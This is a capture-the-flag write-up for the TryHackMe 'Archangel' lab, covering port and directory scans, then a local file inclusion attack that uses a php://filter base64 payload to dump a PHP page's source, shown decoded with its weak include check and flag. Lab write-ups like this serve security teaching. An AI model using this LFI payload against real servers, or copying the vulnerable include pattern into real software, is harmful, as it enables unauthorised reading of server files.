CTF Archangel

CTF › TryHackMe

rustscan

1
rustscan -a 10.10.96.213

Output:

1
2
3
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

gobuster

1
gobuster dir -u http://10.10.96.213/. -x html,php,js,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Output

Website


We have the domain name:
mafialive.thm
Add it to /etc/hosts

LFI

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

1
2
echo  CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3d
y9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg== |base64 -d

Decode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	   //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	   if(isset($_GET["view"])){
	   if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>